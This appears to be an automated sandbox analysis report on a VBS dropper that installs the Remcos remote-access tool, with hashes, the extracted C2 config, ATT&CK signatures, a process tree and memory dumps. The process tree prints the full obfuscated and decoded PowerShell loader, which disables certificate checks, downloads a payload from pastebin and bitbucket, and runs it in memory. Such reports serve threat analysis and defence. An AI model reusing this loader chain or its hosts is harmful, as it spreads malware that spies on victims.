Analysis

  • max time kernel
    147s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-09-2024 15:05

General

  • Target

    envifa.vbs

  • Size

    4.0MB

  • MD5

    b9b5d25eb96b7de9629b3344aaca4d71

  • SHA1

    e9f07e0dd33c986fc83ddf9e4e702dbb92dbb834

  • SHA256

    f81f4cddc306cd06fb2cd456e08cd15e58cc55540fedfd3cc11d62fb74b6cd95

  • SHA512

    69c1f2de49adc6d4cbc3f74ca83c8b1bdb882d10efd4d891345432e776e6a40d23fe456d23e8c004bc26a2c49a10baedf3255119e57f8e4481804250cfc614e3

  • SSDEEP

    96:D6G7MtM9s/Q8u5QiOK09ALsFckHixZzan9gzdR3s:GSHbO9GsFcCudan9mhs

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

RemoteHost

C2

remcos2024fin.duckdns.org:4576

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-JKUC8S

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $LoPuennnTes = 'J☆Bm☆HY☆e☆Bm☆GU☆I☆☆9☆C☆☆Jw☆w☆Cc☆Ow☆k☆Hk☆egB5☆HE☆cg☆g☆D0☆I☆☆n☆CU☆c☆B6☆EE☆YwBP☆Gc☆SQBu☆E0☆cg☆l☆Cc☆OwBb☆FM☆eQBz☆HQ☆ZQBt☆C4☆TgBl☆HQ☆LgBT☆GU☆cgB2☆Gk☆YwBl☆F☆☆bwBp☆G4☆d☆BN☆GE☆bgBh☆Gc☆ZQBy☆F0☆Og☆6☆FM☆ZQBy☆HY☆ZQBy☆EM☆ZQBy☆HQ☆aQBm☆Gk☆YwBh☆HQ☆ZQBW☆GE☆b☆Bp☆GQ☆YQB0☆Gk☆bwBu☆EM☆YQBs☆Gw☆YgBh☆GM☆aw☆g☆D0☆I☆B7☆CQ☆d☆By☆HU☆ZQB9☆Ds☆WwBT☆Hk☆cwB0☆GU☆bQ☆u☆E4☆ZQB0☆C4☆UwBl☆HI☆dgBp☆GM☆ZQBQ☆G8☆aQBu☆HQ☆TQBh☆G4☆YQBn☆GU☆cgBd☆Do☆OgBT☆GU☆YwB1☆HI☆aQB0☆Hk☆U☆By☆G8☆d☆Bv☆GM☆bwBs☆C☆☆PQ☆g☆Fs☆UwB5☆HM☆d☆Bl☆G0☆LgBO☆GU☆d☆☆u☆FM☆ZQBj☆HU☆cgBp☆HQ☆eQBQ☆HI☆bwB0☆G8☆YwBv☆Gw☆V☆B5☆H☆☆ZQBd☆Do☆OgBU☆Gw☆cw☆x☆DI☆OwBb☆EI☆eQB0☆GU☆WwBd☆F0☆I☆☆k☆Gk☆agBj☆GM☆cw☆g☆D0☆I☆Bb☆HM☆eQBz☆HQ☆ZQBt☆C4☆QwBv☆G4☆dgBl☆HI☆d☆Bd☆Do☆OgBG☆HI☆bwBt☆EI☆YQBz☆GU☆Ng☆0☆FM☆d☆By☆Gk☆bgBn☆Cg☆I☆☆o☆E4☆ZQB3☆C0☆TwBi☆Go☆ZQBj☆HQ☆I☆BO☆GU☆d☆☆u☆Fc☆ZQBi☆EM☆b☆Bp☆GU☆bgB0☆Ck☆LgBE☆G8☆dwBu☆Gw☆bwBh☆GQ☆UwB0☆HI☆aQBu☆Gc☆K☆☆g☆Cg☆TgBl☆Hc☆LQBP☆GI☆agBl☆GM☆d☆☆g☆E4☆ZQB0☆C4☆VwBl☆GI☆QwBs☆Gk☆ZQBu☆HQ☆KQ☆u☆EQ☆bwB3☆G4☆b☆Bv☆GE☆Z☆BT☆HQ☆cgBp☆G4☆Zw☆o☆Cc☆a☆B0☆HQ☆c☆☆6☆C8☆LwBw☆GE☆cwB0☆GU☆YgBp☆G4☆LgBj☆G8☆bQ☆v☆HI☆YQB3☆C8☆Vg☆5☆Hk☆NQBR☆DU☆dgB2☆Cc☆KQ☆g☆Ck☆I☆☆p☆Ds☆WwBz☆Hk☆cwB0☆GU☆bQ☆u☆EE☆c☆Bw☆EQ☆bwBt☆GE☆aQBu☆F0☆Og☆6☆EM☆dQBy☆HI☆ZQBu☆HQ☆R☆Bv☆G0☆YQBp☆G4☆LgBM☆G8☆YQBk☆Cg☆J☆Bp☆Go☆YwBj☆HM☆KQ☆u☆Ec☆ZQB0☆FQ☆eQBw☆GU☆K☆☆n☆FQ☆ZQBo☆HU☆b☆Bj☆Gg☆ZQBz☆Fg☆e☆BY☆Hg☆e☆☆u☆EM☆b☆Bh☆HM☆cw☆x☆Cc☆KQ☆u☆Ec☆ZQB0☆E0☆ZQB0☆Gg☆bwBk☆Cg☆JwBN☆HM☆cQBC☆Ek☆YgBZ☆Cc☆KQ☆u☆Ek☆bgB2☆G8☆awBl☆Cg☆J☆Bu☆HU☆b☆Bs☆Cw☆I☆Bb☆G8☆YgBq☆GU☆YwB0☆Fs☆XQBd☆C☆☆K☆☆n☆HQ☆e☆B0☆C4☆RQBS☆EI☆VQBU☆EM☆TwBS☆EU☆TgBF☆FQ☆UwBP☆FM☆LwBz☆GQ☆YQBv☆Gw☆bgB3☆G8☆Z☆☆v☆G8☆d☆Bz☆G8☆ZwBh☆C8☆cwBz☆G8☆aQB2☆G4☆ZQ☆v☆Gc☆cgBv☆C4☆d☆Bl☆Gs☆YwB1☆GI☆d☆Bp☆GI☆Lw☆v☆Do☆cwBw☆HQ☆d☆Bo☆Cc☆I☆☆s☆C☆☆J☆B5☆Ho☆eQBx☆HI☆I☆☆s☆C☆☆JwBf☆F8☆XwBf☆F8☆XwBf☆GE☆UwBE☆EY☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆XwBf☆F8☆Xw☆t☆C0☆LQ☆t☆C0☆LQ☆t☆Cc☆L☆☆g☆CQ☆ZgB2☆Hg☆ZgBl☆Cw☆I☆☆n☆DE☆Jw☆s☆C☆☆JwBS☆G8☆Z☆Bh☆Cc☆I☆☆p☆Ck☆Ow☆=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('☆','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs');powershell $KByHL;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4608
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$fvxfe = '0';$yzyqr = 'C:\Users\Admin\AppData\Local\Temp\envifa.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $ijccs = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($ijccs).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('txt.ERBUTCORENETSOS/sdaolnwod/otsoga/ssoivne/gro.tekcubtib//:sptth' , $yzyqr , '_______aSDF_____________________________________-------', $fvxfe, '1', 'Roda' ));"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4628
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3548

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    ca8ec807529e13ba84c55d8a368ff980

    SHA1

    538a76363f1ac7bd5106e94d1073328e0ba88c30

    SHA256

    7751c3dde4984d421fed0c0e376ec4b2623f79ec4ff220547b2e1a56792e4d32

    SHA512

    70334eeaad5d32f2e976bf2d7cc6b76322c66b7490c76db6be4f12e67313a915cf5e91dd386639073e5590e51b01ac8d612c1d24465d9b104097ada08e506710

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zkqj004c.erd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3548-66-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-39-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-68-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-101-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-100-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-69-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-34-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-38-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-35-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-70-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-40-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-41-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-43-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-44-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-45-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-46-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-47-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-49-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-50-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-51-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-52-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-53-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-54-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-55-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-56-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-58-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-59-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-60-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-61-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-62-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-63-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-65-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-32-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-67-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-102-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-99-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-98-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-71-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-25-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-73-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-74-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-75-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-76-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-77-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-78-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-79-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-81-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-82-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-83-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-84-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-85-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-86-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-87-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-89-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-90-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-91-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-92-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-93-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-94-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-95-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/3548-97-0x0000000000400000-0x0000000000482000-memory.dmp

    Filesize

    520KB

  • memory/4608-0-0x00007FF8FF0F3000-0x00007FF8FF0F5000-memory.dmp

    Filesize

    8KB

  • memory/4608-13-0x00007FF8FF0F0000-0x00007FF8FFBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4608-12-0x00007FF8FF0F0000-0x00007FF8FFBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4608-7-0x00007FF8FF0F0000-0x00007FF8FFBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4608-1-0x0000019774D20000-0x0000019774D42000-memory.dmp

    Filesize

    136KB

  • memory/4608-31-0x00007FF8FF0F0000-0x00007FF8FFBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4628-23-0x00000289C85C0000-0x00000289C85CA000-memory.dmp

    Filesize

    40KB

  • memory/4628-24-0x00000289C85D0000-0x00000289C85DA000-memory.dmp

    Filesize

    40KB